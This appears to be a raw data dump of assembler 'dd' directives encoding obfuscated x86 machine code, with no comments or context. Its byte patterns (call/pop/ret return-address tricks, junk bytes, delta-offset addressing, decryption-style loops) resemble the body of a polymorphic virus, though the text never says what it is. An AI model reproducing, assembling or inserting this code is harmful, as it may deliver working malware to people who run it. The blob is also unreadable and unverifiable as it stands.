		dd 60FCE183h, 2ED18501h, 0D38A0610h, 6AFC61h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0DB904C3h
		dd 58949DA6h, 0C02BF9C8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F2C35040h, 0C49AB79Eh, 18C5858h, 1005619Dh
		dd 0F5506006h, 65DB815Eh, 616BB4F8h, 0BAh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 11784779h, 0E59529B8h, 0AD06100Dh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 8F91C351h, 279D8D29h, 880D0610h
		dd 0E9000000h, 7, 0B0E4AEB7h, 8B15CC3Ah, 1009F595h, 89858906h
		dd 8B061015h, 1023198Dh, 0D9B70F06h, 28298D89h,	8B500610h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C6C35141h, 6AB112h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E2BBD0C3h, 0F11B9F04h, 80F63540h, 0BD8391D7h, 6101E29h
		dd 0C8840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3ECDC356h, 0C521D995h
		dd 56601DE5h, 41BD8B5Eh, 61061012h, 0B8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 80124FBEh, 0FCC5CB7h, 0C8Bh,	6810F00h, 89000000h, 1023618Dh
		dd 858D8D06h, 6A06104Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E179C357h,	660C2698h
		dd 0E95547BFh, 0Bh, 8DD4974Ch, 74D38B44h, 0FF9B51F2h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6C661343h, 857680CBh, 83F914EBh, 1022C1BDh, 840F0006h
		dd 4B3h, 1C91B589h, 0BD830610h,	61022C1h, 0BB840F01h, 0F000004h
		dd 781h, 87BB5300h, 5F5039EBh, 22C1BD83h, 0F030610h, 46B86h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 8478E4B6h, 0E897A5AFh, 13h, 7FD12C9Ch, 5FD93DAh
		dd 0FE51BFFFh, 0C0E6E17Fh, 0E95DA4A2h, 10h, 4082700Dh
		dd 70E691DCh, 0BCC08025h, 0AE10C602h, 6A605Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 4FC60BC3h, 0BD09F6AAh, 61006BDh, 0DA99D29h, 8C660610h
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 99D892AEh, 14E9h, 141B5400h, 0B4F1273Ch
		dd 0A2ACB600h, 1828FF18h, 87250165h, 4E1803Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E1C35242h, 0A78D0948h
		dd 4586C9E9h, 0FC90A92h, 17884h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0AB336A42h
		dd 85898EADh, 6101A89h,	2185858Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F1E435C3h
		dd 0A0EA385Bh, 0F7818E0Ah, 3548FA23h, 14E9h, 55759600h
		dd 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 0FD8533E7h
		dd 6A061011h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0A028C356h, 895037D8h,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CE0DD1C3h, 9D2B49CEh, 6100771h, 0BB66006Ah,	0B66879CDh
		dd 669E5219h, 481FE8Bh,	0CCEA4924h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 1D86AB9h, 16534C22h
		dd 95FF0AB7h, 61005D5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 4AC35242h, 0F855F1Dh,	88Fh, 0DD806000h
		dd 0D3BF0F52h, 65B58961h, 89061005h, 13C26D85h,	0DAB70F06h
		dd 20CE9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A7B781A5h, 6AFCF73h, 10E9h, 2FE75400h
		dd 9C552BB1h, 78059C8Dh, 0CC93BB7Fh, 65858B9Ch,	6A0613C2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C18EC350h, 7D7D2D72h, 0FE8B668Dh, 1800C7h
		dd 0B5890000h, 6100639h, 0C269B58Bh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F3864FC3h
		dd 9B2C3EB2h, 85891EF2h, 610171Dh, 0E25858Bh, 6A0610h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 720762C3h, 5CA36923h, 3108F538h, 102EA1B5h, 0F068906h
		dd 38Bh
		dd 0DFBF0F00h, 2185858Bh, 81660610h, 89532CE7h,	0BD8B0446h
		dd 6101F8Dh, 52505096h,	0AE9h, 19471000h, 3D3AE378h, 0FAD59BBh
		dd 6E931h, 53E90000h, 4069EE1Dh, 8B96585Ah, 101EA59Dh
		dd 65B5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 9836C350h, 3F778165h
		dd 3C24A44Bh, 481BD8Bh,	0C7680610h, 0E9551AEBh,	0Dh, 3BACE58Ah
		dd 2B9FD419h, 0CA5251CBh, 2434810Eh, 5505E838h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 5858930h
		dd 8D061028h, 13C26D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0B0BA8614h, 87506430h
		dd 0E9D98B66h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh
		dd 0AFB3BB50h, 489271Eh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0D565C01h, 0F30B638Dh
		dd 899D29A1h, 29061014h, 10112D95h, 0D595FF06h,	8B061005h
		dd 840F61FBh, 0
		dd 22C185C7h, 30610h, 89530000h, 101095BDh, 0BD835F06h
		dd 613C26Dh, 11840F00h,	8B000000h, 100C119Dh, 21E906h
		dd 8D890000h, 610063Dh,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3ED0C353h, 44BC02A2h
		dd 0E9A78BD8h, 6, 81FA897Dh, 0BD83613Eh, 61022C1h, 6A850F03h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 76CEC351h, 51CB8151h, 5F45E8C9h
		dd 616664BFh, 6DBD8355h, 613C2h, 433840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0CC00EAC3h, 15A99D8Bh, 0B5FF0610h, 613C26Dh,	32B31FBBh
		dd 0B315BF7Bh, 95FF720Fh, 6102FA5h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0A0C35646h,	0E98665F7h, 1F0F09BAh
		dd 0C985896Fh, 8906101Dh, 1001D9BDh, 61B58B06h,	0F90613C2h
		dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 3D063FC3h, 96F51DEFh, 0CA98BF66h
		dd 14E850h, 0C06B0000h,	8D6116B1h, 0D3B008Fh, 0C4F1D7A0h
		dd 0F47D629h, 8B662C0Dh, 0E9965FD8h, 8,	625F44D1h, 28D3BF71h
		dd 0C26DB5FFh, 95890613h, 6103199h, 122595FFh, 85290610h
		dd 6100DF1h, 0C261B58Bh, 57BB0613h, 8B698487h, 1021D185h
		dd 0C5BD2306h, 8906101Ah, 0C486h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0C463B828h
		dd 0F9F7E443h, 8D898D67h, 6100621h, 9F5958Bh, 81660610h
		dd 83BA1BF7h, 0FE904C2h, 7000000h, 67415C5Ah, 19750285h
		dd 0E5D98BEh, 5089F0D0h, 6AE78120h, 8D28ABA4h, 13D7C285h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0AA72EC15h, 1A852F3Bh, 459589BBh, 8906100Ch
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 816648F2h, 0FBF47EBh, 6AF8B7h, 6DB5FFF5h
		dd 890613C2h, 1022A18Dh, 9595FF06h, 6A061004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 48ECC355h, 3E2379AAh, 0F5BADCBFh, 8BBB5042h,	895DD811h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 513BA4C3h, 12E84BA2h, 40000000h, 0B5F87951h
		dd 0F40897E0h, 895C6220h, 8F1C905Bh, 5800FB9h, 0BF000000h
		dd 350ED703h, 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DF1FC356h
		dd 79D5EFE5h, 55C78166h, 359D8B40h, 0FF061019h,	10162D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 9E97Fh, 0F4640000h, 58C43ECh, 8B4E88E8h
		dd 102FD5BDh, 51BD8306h, 61013h, 5D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 46EA2EC3h, 0B589F960h, 6102825h, 7E85061h, 36000000h
		dd 0B4A1645Fh, 0FC8AC370h, 2434895Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0F5C35040h,	359D8B37h, 0FF061009h
		dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 21BD8BA5h, 0FF06100Ah, 100C1995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 73E03115h, 6890Fh, 0BD8B0000h, 6100E9Dh
		dd 0FF75DF80h, 13C26DB5h, 0CD850906h, 89061021h, 102D21BDh
		dd 2195FF06h, 6A061016h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0DEE8C355h,	7F712244h
		dd 535E4FBAh, 1800Fh, 8BFC0000h, 102A95BDh, 89BD8306h
		dd 206100Fh, 49840Fh, 7E90000h,	0E9000000h, 6E36434Eh
		dd 0BD0972DEh, 610241Dh, 10C5858Bh, 0BD330610h,	610131Dh
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5D84C355h, 0C03512C2h,	6672F01Bh
		dd 0C78AEEBBh, 102A2585h, 6, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0CAF31EF4h
		dd 26E344A5h, 0F259E955h, 9E8FFFFh, 0FD000000h,	0C7382E90h
		dd 0EF1C1FFh, 8B5BB4B7h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8DF98BDBh, 1013B985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0D2059E50h, 8B602644h, 100F31B5h, 0F2BF0F06h
		dd 8B665061h, 240489D8h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD31ABC3h, 6101C0Dh
		dd 858D006Ah, 614E71Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 70C35747h, 8BF42096h,	100645BDh, 5C08306h
		dd 0E990D88Bh, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h, 6650B5D3h
		dd 5690FE8Bh, 5BF88B66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0BE7A2DC3h, 0DF8B66FBh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0D67A15C3h, 23499D8Bh, 95FF0610h,	6101D19h
		dd 0C840Fh, 810F0000h, 6, 870Fh, 8D8D0000h, 613AFD8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 6658C7CBh
		dd 0FF5E48BFh, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 47A9E4ADh, 9589F028h
		dd 6102795h, 5ED78166h,	9BD8370h, 1061022h, 6D850Fh, 9D890000h
		dd 6102D45h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0A86DC4C3h, 0F4F229C8h, 0CB816622h
		dd 0F509A6Eh, 280h, 89D88B00h, 0B5892404h, 6100CA1h, 28719D89h
		dd 95FF0610h, 6100495h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 42C35343h, 0E9AF32A0h, 0F0Fh,	0E8h, 0ED815D00h
		dd 614E726h, 2DBD8B60h,	0F06100Ah, 68Ch, 8DBD8B00h, 61061020h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h
		dd 69A8D454h, 0B4115C8Ah, 0BD315651h, 6102F89h,	858D5B5Bh
		dd 61399B6h, 1479B589h,	0E9900610h, 0Bh, 0E7864B71h, 1C5BD5A1h
		dd 50FB6668h, 16E4BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 92F42299h, 3FA6FF36h
		dd 0FF64D98Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0D67A1580h
		dd 7A7137D2h, 2DBD8BEAh, 64061031h, 2589h, 0BB660000h
		dd 85FFFCD2h, 6101419h,	6E8h, 52C7F500h, 0E96D94D0h, 11h
		dd 3934396Ch, 3BDDDC2Ch, 0F8113808h, 5BA1351Dh,	0FF6A5B48h
		dd 83CB8166h, 0F88B663Ch, 1F51B5FFh, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A2D119C3h
		dd 84B0AECBh, 9DA6F381h, 9589566Bh, 6100EF9h, 61595FFh
		dd 40E90610h, 8B000001h, 100F7D9Dh, 6600B006h, 0E6FD91BBh
		dd 0FE8B6670h, 0FF871E4h, 613CDEBFh, 121830Fh, 0FF80000h
		dd 0BD8BC8B6h, 6100655h, 6BAh, 7E900h, 35CE0000h, 2A15F094h
		dd 89C18B55h, 10099185h, 4E8C106h, 758D8960h, 89061023h
		dd 101F059Dh, 0F7666106h, 1D890FE2h, 0E8000000h, 11h, 0FBE77058h
		dd 7BC5F700h, 91AB57F8h, 2B50985Bh, 0E4EB81FAh,	5F037AF2h
		dd 880FC82Bh, 0Ch, 6830Fh, 0BD8B0000h, 61004E5h, 0BD8BD18Bh
		dd 610310Dh, 95DA46BBh,	0A1E900h, 0DE8B0000h, 141D9D09h
		dd 858B0610h, 4, 0FE9h,	0D75A7800h, 0F5FD432Bh,	80F5A03Bh
		dd 0A498BF70h, 4ADB8166h, 7C083F9h, 83D7F380h, 515100C0h
		dd 5B5B5B50h, 0FDB50DBFh, 0FD03B66h, 2983h, 0EE800h, 0BDEE0000h
		dd 3B22F619h, 72341CE7h, 20688662h, 5E9h, 6C770800h, 0E95FD20Ah
		dd 3Bh,	0C35B531h, 8D8B0610h, 0FFFFFFFFh, 5919D8Bh, 0E1830610h
		dd 20840F01h, 8B000000h, 10168D9Dh, 0FFA58306h,	0FEFFFFFFh
		dd 9589D88Ah, 4, 30DD9589h, 0E90610h, 8D000000h, 145F03B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0B71806B0h, 0B529519Dh, 6101065h, 0E9006A5Bh
		dd 8, 3B021BBAh, 83F5B507h, 31C995FFh, 0B9F80610h, 104Bh
		dd 3025BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D3816642h
		dd 53FCCFC9h, 0B85BF9h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0BD65C351h
		dd 0BDA8689Eh, 89F7BB63h, 1031558Dh, 0E59D8B06h, 2B061010h
		dd 51006AD2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0D99D8BA4h, 0AD06102Eh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 7795C356h, 1EBCBF73h, 0BD23131Dh
		dd 61008B5h, 2A35BD8Bh,	880D0610h, 0F000000h, 682h, 8D9D8900h
		dd 8B061020h, 1009F595h, 68E0F06h, 81000000h, 0DAA1B7CBh
		dd 0DD953136h, 8B061027h, 1023198Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B77480Fh
		dd 1006099Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 180C356h, 101AF1B5h, 6E806h, 31920000h
		dd 97D5B567h, 2EF19D29h, 835B0610h, 101E29BDh, 840F0006h
		dd 4Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 67C35646h, 0B8DFh, 8DF90000h, 104E858Dh, 8BEBBB06h
		dd 0E1FF7020h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0BDC35242h, 83E7BECEh, 1022C1BDh, 840F0006h, 468h
		dd 0AD83F1BFh, 1D852965h, 8306100Ch, 1022C1BDh,	840F0106h
		dd 46Bh, 13E9h,	0D7450D00h, 9649183Ch, 4D1CAEBFh, 0AC67E284h
		dd 5E938D3Dh, 22C1BD83h, 0F030610h, 41086h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 7FA2FDDEh, 0E231A7A5h, 9D8B4492h, 61000E9h, 51958960h
		dd 66061016h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 3ADC53C3h, 8A0F1D50h, 6,	619BD2Bh
		dd 0E1800610h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 6656AC99h, 0F91EDF81h
		dd 0FC90A5Fh, 1A784h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 8B6657B4h, 858B5FFEh
		dd 6102185h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0A5C35141h, 0D88A02D8h,	11FD8533h, 8EBB0610h, 662BBEBAh
		dd 0BF90FE8Bh, 382CC713h, 3860F50h, 66000000h, 6A90F88Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8205C351h, 49BD8BC3h, 6A06101Eh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 757DF527h, 0F925FBEAh, 0CE9A5h, 96650000h, 0C8526FC3h
		dd 2F45D513h, 4E8FFEFh,	0FF000000h, 60001F03h, 6FB82EBAh
		dd 8DBF6624h, 0E9506161h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h
		dd 448B635Fh, 8B660424h, 0E9008BF8h, 0Eh, 9DEB8C09h, 0C2C7E587h
		dd 6FB8D4E4h, 44896BB1h, 50570424h, 0F88B6652h,	0DE8A310Fh
		dd 585B585Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	67C35747h, 2D099531h, 3CB70610h, 5D595FFh, 6A0610h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 4F974DC3h, 0B01D15F5h, 603FFD1Dh, 20E9BD8Bh,	8D890610h
		dd 61020CDh, 4ABF6661h,	6D8589CAh, 8A0613C2h, 186E9FEh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9529FCC3h, 6100065h, 0C265858Bh, 8B660613h
		dd 1800C7DEh, 8B000000h, 1006259Dh, 69B58B06h, 6A0613C2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 9860C351h, 0BD1E565Fh, 0D78A12C9h, 535CA4BFh
		dd 25858B2Fh, 0E906100Eh, 7, 0E74C9644h, 893C8997h, 0EFBF6606h
		dd 85858BA1h, 6A061021h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F8EBC350h,	7175EAA7h
		dd 5D79DCA8h, 8819EF81h, 468972D2h, 0C59D2904h,	9606102Dh
		dd 0FAB0BF66h, 12E89650h, 7E000000h, 0D329BBEDh, 90CBDC12h
		dd 23D44D6Ch, 9F1B7DABh, 1C781E8h, 5F3C75E0h, 0C265B5FFh
		dd 9D8B0613h, 61023B1h,	7A4FB968h, 7E87Dh, 100B0000h, 72FFA27Dh
		dd 34815BCBh, 654C4624h, 8DD88B7Dh, 13C26D85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0FC094975h, 23CD6A9Ch, 2890F32h, 0B3000000h,	12E9E0h
		dd 60A30000h, 0F62C2BE2h, 3A49245Fh, 57A4CCBBh,	5B302DB7h
		dd 0DA8B6650h, 8B240489h, 101CFD9Dh, 0D595FF06h, 6A061005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0A3C1C357h, 1C258D89h, 0FB8B0610h, 85C7F961h
		dd 61022C1h, 3,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0B9C35141h, 0DA18D01h, 0BD830610h, 613C26Dh, 3A840F00h
		dd 0F000000h, 683h, 0D2F78100h,	0E97C5DD6h, 44h, 0E851006Ah
		dd 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0C35141h, 209425FCh
		dd 89F98B66h, 1031798Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 84C35747h, 295026E4h,	297440AAh, 6810FE6h
		dd 8B000000h, 1032A19Dh, 0F8BF0F06h, 22C1BD83h,	0F030610h
		dd 55385h, 27EF8100h, 83231C91h, 13C26DBDh, 840F0006h
		dd 540h, 1EC5BD8Bh, 0B5FF0610h,	613C26Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 4CC35343h, 942BCAB1h
		dd 5DBF58DEh, 0FF6E19B3h, 102FA595h, 0D5958906h, 8B061010h
		dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8166FA47h, 0E8FBD5CBh, 12h, 597BC45Bh
		dd 903A1CEDh, 0F3A00965h, 929A9D24h, 890F576Ch,	5, 0A783CDBBh
		dd 6C75B62h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 36C35343h, 1D5DE1A4h,	50075A08h, 80243489h
		dd 0B5FFCCF3h, 613C26Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2FC35545h, 11B9BD8Bh,	95FF0610h, 6101225h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 60C35747h
		dd 58225509h, 0BD8B7896h, 6102A8Dh, 0C261B58Bh,	6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 47699FC3h, 21D1858Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 1E0224C3h, 0C7BDE4B1h
		dd 8589BEAAh, 610004Dh,	0FB59501h, 86890610h, 0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 58A0Fh
		dd 0AFBF0000h, 0F945F923h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C185C4C3h
		dd 0FAC9D53Fh, 666B26C1h, 7A79CF81h, 2205BD8Bh,	0C2830610h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 89BC0F90h, 8DF92050h, 13D7C285h,	9DBB6606h
		dd 0B886892Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 207DC352h, 0CB816695h
		dd 0BF0F42F5h, 0CDBD0BF9h, 6A061032h, 860F5700h, 6, 860Fh
		dd 665B0000h, 0CE0EF381h, 0C26DB5FFh, 9D8B0613h, 6102E3Dh
		dd 49595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 8C2FCCC3h, 0B9DF8166h, 0D8BF0F4Fh
		dd 9D65BB50h, 34894C44h, 799D8B24h, 0FF06100Eh,	13C26DB5h
		dd 799D0906h, 0FF061027h, 10162D95h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 6A82C2EDh
		dd 83D98B66h, 101351BDh, 840F0006h, 0A2h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 54C35343h, 96CC4D74h
		dd 13E896h, 3D370000h, 0A954C516h, 5908E257h, 0C7667C2Ch
		dd 0D9953ECDh, 0CE921h,	648B0000h, 8DA0A30Dh, 0A450AB58h
		dd 505F0B4Bh, 6A96FC8Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5E99C355h, 10E960h
		dd 3D260000h, 0A4411B4Fh, 0B556D4EAh, 0B6CE257Eh, 8153E952h
		dd 0D9D2DCF7h, 0E9615E7Dh, 12h,	0EF406B4Fh, 0A4077446h
		dd 0B56504A0h, 0FBF09A4Bh, 0B5FF72EBh, 613C26Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 39C35747h, 3DE5A535h
		dd 4E16544Ch, 9E9B2h, 0CDD20000h, 0A0E7CF1Bh, 0FFC3C1E1h
		dd 100C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 4F9C4F68h, 2471B9A0h, 3602CABh, 1006D98Dh
		dd 8DBD8906h, 6106100Ah, 58C0Fh, 81660000h, 0FF37F0E3h
		dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 9DCEDA30h, 2F8C8D0Ch, 12E8CCh, 0E4650000h
		dd 0C6A41DE1h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 11E8h
		dd 9B3B4600h, 50E9AC93h, 60C2AB12h, 0B54B3E0Bh,	6E946D1h
		dd 9000000h, 0FBA081C4h, 8B5F5B3Bh, 8E9DAh, 0CE360000h
		dd 7310E141h, 95FF67C6h, 6101621h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0D9C35343h,	0C20E5FC0h, 2840Fh
		dd 0CFB30000h, 8C0Fh, 0BD830000h, 6100F89h, 6B840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E2E1C351h, 14E9h, 6CCBF800h
		dd 7DC36CFEh, 95CE223h,	4A35BC09h, 0A7499BB9h, 0C5858B25h
		dd 81061010h, 71D1BE3h,	0C63Bh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0A7C35747h,	5FDBB66h, 1E5D9D8Bh
		dd 85C70610h, 6102A25h,	0
